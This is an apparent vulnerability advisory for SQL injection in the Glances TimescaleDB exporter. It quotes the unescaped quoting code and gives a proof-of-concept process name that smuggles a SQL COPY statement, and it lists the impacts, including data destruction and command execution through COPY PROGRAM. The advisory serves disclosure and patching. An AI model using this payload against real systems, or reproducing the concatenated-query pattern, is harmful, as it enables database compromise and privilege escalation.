Loading advisory.
Loading advisory.
Glances has SQL Injection via Process Names in TimescaleDB Export
The TimescaleDB export module constructs SQL queries using string concatenation with unsanitized system monitoring data.
Published 2026-03-09 19:51 UTC · Modified 2026-07-13 07:26 UTC
Severity and EPSS are shown separately. Helm does not combine them into one score.
| Package | Ecosystem | Affected | Fixed in | Upgrade command |
|---|---|---|---|---|
| glances | PyPI | < 4.5.1 versions 1.3.1, 1.3.2, 1.3.3, 1.3.4, 1.3.5, 1.3.6, 1.3.7, 1.4, 1.4.1, 1.4.1.1, 1.4.2, 1.4.2.1, 1.5, 1.5.1, 1.5.2, 1.6, 1.6.1, 1.7, 1.7.1, 1.7.2 and 110 more | 4.5.1 | pip install --upgrade 'glances>=4.5.1' |
The TimescaleDB export module constructs SQL queries using string concatenation with unsanitized system monitoring data. The normalize() method wraps string values in single quotes but does not escape embedded single quotes, making SQL injection trivial via attacker-controlled data such as process names, filesystem mount points, network interface names, or container names.
Root Cause: The normalize() function uses f"'{value}'" for string values without escaping single quotes within the value. The resulting strings are concatenated into INSERT queries via string formatting and executed directly with cur.execute() — no parameterized queries are used.
File: glances/exports/glances_timescaledb/init.py, lines 79-93 (normalize function)
def normalize(self, value):
"""Normalize the value to be exportable to TimescaleDB."""
if value is None:
return 'NULL'
if isinstance(value, bool):
return str(value).upper()
if isinstance(value, (list, tuple)):
# Special case for list of one boolean
if len(value) == 1 and isinstance(value[0], bool):
return str(value[0]).upper()
return ', '.join([f"'{v}'" for v in value])
if isinstance(value, str):
return f"'{value}'" # <-- NO ESCAPING of single quotes within value
return f"{value}"File: glances/exports/glances_timescaledb/init.py, lines 201-205 (query construction)
# Insert the data
insert_list = [f"({','.join(i)})" for i in values_list]
insert_query = f"INSERT INTO {plugin} VALUES {','.join(insert_list)};"
logger.debug(f"Insert data into table: {insert_query}")
try:
cur.execute(insert_query) # <-- Direct execution of concatenated SQLAs a normal user, create a process with the name containing the SQL Injection payload:
exec -a "x'); COPY (SELECT version()) TO '/tmp/sqli_proof.txt' --" python3 -c 'import time; [sum(range(500000)) or time.sleep(0.01) for _ in iter(int, 1)]'Start Glances with TimescaleDB export as root user:
glances --export timescaledb --export-process-filter ".*" --time 5 --stdout cpuObserve that sqli_proof.txt is created in /tmp directory.
Data Destruction: DROP TABLE, DELETE, TRUNCATE operations against the TimescaleDB database.
Data Exfiltration: Using COPY ... TO or subqueries to extract data from other tables.
Potential RCE: Via PostgreSQL extensions like COPY ... PROGRAM which executes OS commands.
Privilege Escalation: Any local user who can create a process with a crafted name can inject SQL into the database, potentially compromising the entire PostgreSQL instance.
No public exploit code known to Helm's sources (Nuclei templates, Metasploit, Exploit-DB and PoC-in-GitHub). That does not mean none exists.
EPSS went from 0.004 on 2026-11-24 to 0.005 on 2026-11-26, over 2 recorded scores.
| Date | Score | Previous | Model |
|---|---|---|---|
| 2026-11-24 | 0.004 | first score | v2026.06.15 |
| 2026-11-26 | 0.005 | 0.004 | v2026.06.15 |